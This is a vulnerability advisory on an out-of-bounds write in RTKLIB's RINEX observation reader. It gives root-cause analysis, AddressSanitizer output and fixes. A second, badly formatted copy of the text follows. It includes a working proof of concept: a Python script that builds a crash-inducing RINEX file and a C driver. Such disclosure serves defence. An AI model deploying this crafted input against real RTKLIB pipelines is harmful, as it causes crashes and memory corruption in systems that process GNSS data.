Author(s): Nabih Benazzouz - @raefko
Date: 2026-06-09
Executive Summary
@FuzzingLabs identified an out-of-bounds access in RTKLIB's RINEX observation reader,
readrnxobsb, reachable from a crafted RINEX observation file. decode_obsepoch parses the per-epoch
satellite count from the epoch header line and returns it unclamped (the field allows counts far
above MAXOBS = 64). Back in readrnxobsb, the obs-record loop then writes/reads the observation
arrays (data[n], sats[i-1]) for each declared satellite, indexed by that attacker-controlled count,
before the n < MAXOBS guard takes effect - so a count greater than the buffer capacity walks past the
end of the arrays.
FuzzingLabs confirmed the defect with a small crafted RINEX 3 file under AddressSanitizer (Apple clang):
AddressSanitizer: heap-buffer-overflow in readrnxobsb at rinex.c:948 (the data[n] store; the same loop also reads sats[i-1] at rinex.c:949).
RINEX files are untrusted input: RTKLIB processes them in post-processing tools (rnx2rtkp, RTKPOST),
and its stream layer also fetches them over FTP/HTTP. The overflow corrupts the observation buffer,
giving a reliable crash (DoS) and memory corruption in any RTKLIB-based pipeline that ingests RINEX.
Vulnerability Details
- Severity: Medium
(Out-of-bounds access of the observation buffer driven by an unauthenticated file/stream: reliable
crash/DoS and memory corruption. Delivery is file/FTP rather than live RF, hence Medium.)
- Affected Component:
readrnxobsb() -src/rinex.c:948and:949
(the obs-record loop). Root cause: decode_obsepoch returns an unclamped satellite count; the array int sats[MAXOBS] is declared at rinex.c:920, MAXOBS at rtklib.h:195.
Environment
Steps to Reproduce
- Clone and pin:
git clone https://github.com/tomojitakasu/RTKLIB && cd RTKLIB
git checkout 71db0ffa0d9735697c6adfd06fdf766d0e5ce807
- Save the PoC RINEX file
crash.rnx and the driver poc.c (both below).
- Build under ASAN and run:
clang -fsanitize=address,undefined -g -DENAGLO -DENAGAL -DENAQZS -DENACMP -DENAIRN \
-D_DARWIN_C_SOURCE -I src src/*.c src/rcv/*.c poc.c -lm -o poc
./poc crash.rnx
Proof of Concept
crash.rnx - a RINEX 3.03 observation file whose epoch declares 70 satellites (> MAXOBS = 64)
with one valid GPS observation code (so header processing succeeds and the oversized count reaches the
obs-record loop):
3.03 OBSERVATION DATA M (MIXED) RINEX VERSION / TYPE
G 1 C1C SYS / # / OBS TYPES
END OF HEADER
> 2026 01 20 00 00 00.0000000 0 70
G01 23629347.915
G02 23629347.915
G03 23629347.915
... (repeat "Gnn 23629347.915" for 70 satellite lines, nn = 01..32 cycling) ...
Recreate it exactly:
python3 - <<'PY'
hdr = [
" 3.03 OBSERVATION DATA M (MIXED) RINEX VERSION / TYPE",
"G 1 C1C SYS / # / OBS TYPES",
" END OF HEADER",
"> 2026 01 20 00 00 00.0000000 0 70"]
sats = ["G%02d 23629347.915" % ((k % 32) + 1) for k in range(70)]
open("crash.rnx","w").write("\n".join(hdr + sats) + "\n")
PY
poc.c (complete, self-contained):
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "rtklib.h"
int showmsg(char *fmt, ...) { (void)fmt; return 0; }
void settime(gtime_t t) { (void)t; }
void settspan(gtime_t a, gtime_t b) { (void)a; (void)b; }
int main(int argc, char **argv) {
if (argc < 2) return 1;
obs_t obs; nav_t nav; sta_t sta;
memset(&obs, 0, sizeof obs); memset(&nav, 0, sizeof nav); memset(&sta, 0, sizeof sta);
readrnx(argv[1], 1, "", &obs, &nav, &sta); /* -> readrnxobsb */
free(obs.data); freenav(&nav, 0xFF);
return 0;
}
Root Cause Analysis
readrnxobsb
(src/rinex.c)
holds the per-epoch satellite list in int sats[MAXOBS] (MAXOBS = 64) and loops over the obs records:
while (fgets(buff,MAXRNXLEN,fp)) {
if (i==0) {
if ((nsat=decode_obsepoch(fp,buff,ver,&time,flag,sats))<=0) continue; // attacker count, unclamped
} else if (*flag<=2||*flag==6) {
data[n].time=time; // rinex.c:948 <-- OOB write when n exceeds the buffer
data[n].sat=(unsigned char)sats[i-1]; // rinex.c:949 <-- OOB read when i-1 >= MAXOBS
if (decode_obsdata(fp,buff,ver,mask,index,data+n)&&n<MAXOBS) n++; // bound checked too late
}
if (++i>nsat) return n; // loop bounded by the attacker count, not MAXOBS
}
decode_obsepoch reads the satellite count from a fixed-width field and returns it without clamping to
MAXOBS. The obs-record loop then writes data[n] and reads sats[i-1] for each declared satellite;
the n < MAXOBS guard only gates the increment, after data[n] has already been written. With a
count greater than the capacity of data[]/sats[], the loop accesses memory past the end of those
buffers. AddressSanitizer reports the data[n] store at rinex.c:948 as a heap-buffer-overflow of the
6144-byte observation region; the sats[i-1] read at rinex.c:949 is the same root cause on the
stack array.
Detailed Behavior
A single crafted RINEX observation file with an epoch satellite count greater than MAXOBS (64)
corrupts the observation buffer in readrnxobsb. Effect: a reliable crash (DoS) and memory corruption
in RINEX post-processing/visualisation (rnx2rtkp, RTKPOST) and any RTKLIB pipeline that ingests or
downloads RINEX.
==10445==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x623000001900 ...
WRITE/READ via __asan_memcpy
#0 __asan_memcpy
#1 0x000100a01654 in readrnxobsb rinex.c:948
#2 0x0001009f5cfc in readrnxfp rinex.c:1410
#3 0x0001009f9040 in readrnxfile rinex.c:1444
#4 0x0001009f55b8 in readrnxt rinex.c:1512
#5 0x0001009f97a8 in readrnx rinex.c:1530
#6 0x000100948abc in main poc.c:17
#7 0x000188203dfc in start+0x1b4c (dyld:arm64e+0x1fdfc)
0x623000001900 is located 0 bytes after 6144-byte region [0x623000000100,0x623000001900)
SUMMARY: AddressSanitizer: heap-buffer-overflow rinex.c:948 in readrnxobsb
Recommendations
- Clamp the returned count. In
decode_obsepoch, clamp the satellite count to MAXOBS before
returning (or reject the epoch when it exceeds MAXOBS), so the count that drives the readrnxobsb
loop can never exceed the array capacity. Apply to both the RINEX 2 and RINEX 3 epoch paths.
- Bound the loop at the consumer too. In
readrnxobsb, only access data[n]/sats[i-1] while
n < MAXOBS and i-1 < MAXOBS, and stop processing the epoch otherwise.
- Audit sibling readers for the same "trust the wire count, bound the write too late" pattern.
Author(s): Nabih Benazzouz - @raefko
Date: 2026-06-09
Executive Summary
@FuzzingLabs identified an out-of-bounds access in RTKLIB's RINEX observation reader,
readrnxobsb, reachable from a crafted RINEX observation file.decode_obsepochparses the per-epochsatellite count from the epoch header line and returns it unclamped (the field allows counts far
above
MAXOBS = 64). Back inreadrnxobsb, the obs-record loop then writes/reads the observationarrays (
data[n],sats[i-1]) for each declared satellite, indexed by that attacker-controlled count,before the
n < MAXOBSguard takes effect - so a count greater than the buffer capacity walks past theend of the arrays.
FuzzingLabs confirmed the defect with a small crafted RINEX 3 file under AddressSanitizer (Apple clang):
AddressSanitizer: heap-buffer-overflowinreadrnxobsbatrinex.c:948(thedata[n]store; the same loop also readssats[i-1]atrinex.c:949).RINEX files are untrusted input: RTKLIB processes them in post-processing tools (
rnx2rtkp, RTKPOST),and its stream layer also fetches them over FTP/HTTP. The overflow corrupts the observation buffer,
giving a reliable crash (DoS) and memory corruption in any RTKLIB-based pipeline that ingests RINEX.
Vulnerability Details
(Out-of-bounds access of the observation buffer driven by an unauthenticated file/stream: reliable
crash/DoS and memory corruption. Delivery is file/FTP rather than live RF, hence Medium.)
readrnxobsb()-src/rinex.c:948and:949(the obs-record loop). Root cause:
decode_obsepochreturns an unclamped satellite count; the arrayint sats[MAXOBS]is declared atrinex.c:920,MAXOBSatrtklib.h:195.Environment
-fsanitize=address,undefined.71db0ffa0d9735697c6adfd06fdf766d0e5ce807(2.4.3 line, 2018-01-30)ENAGLO ENAGAL ENAQZS ENACMP ENAIRN.Steps to Reproduce
crash.rnxand the driverpoc.c(both below).Proof of Concept
crash.rnx- a RINEX 3.03 observation file whose epoch declares 70 satellites (>MAXOBS = 64)with one valid GPS observation code (so header processing succeeds and the oversized count reaches the
obs-record loop):
Recreate it exactly:
poc.c(complete, self-contained):Root Cause Analysis
readrnxobsb(src/rinex.c)
holds the per-epoch satellite list in
int sats[MAXOBS](MAXOBS = 64) and loops over the obs records:decode_obsepochreads the satellite count from a fixed-width field and returns it without clamping toMAXOBS. The obs-record loop then writesdata[n]and readssats[i-1]for each declared satellite;the
n < MAXOBSguard only gates the increment, afterdata[n]has already been written. With acount greater than the capacity of
data[]/sats[], the loop accesses memory past the end of thosebuffers. AddressSanitizer reports the
data[n]store atrinex.c:948as a heap-buffer-overflow of the6144-byte observation region; the
sats[i-1]read atrinex.c:949is the same root cause on thestack array.
Detailed Behavior
A single crafted RINEX observation file with an epoch satellite count greater than
MAXOBS(64)corrupts the observation buffer in
readrnxobsb. Effect: a reliable crash (DoS) and memory corruptionin RINEX post-processing/visualisation (
rnx2rtkp, RTKPOST) and any RTKLIB pipeline that ingests ordownloads RINEX.
Recommendations
decode_obsepoch, clamp the satellite count toMAXOBSbeforereturning (or reject the epoch when it exceeds
MAXOBS), so the count that drives thereadrnxobsbloop can never exceed the array capacity. Apply to both the RINEX 2 and RINEX 3 epoch paths.
readrnxobsb, only accessdata[n]/sats[i-1]whilen < MAXOBSandi-1 < MAXOBS, and stop processing the epoch otherwise.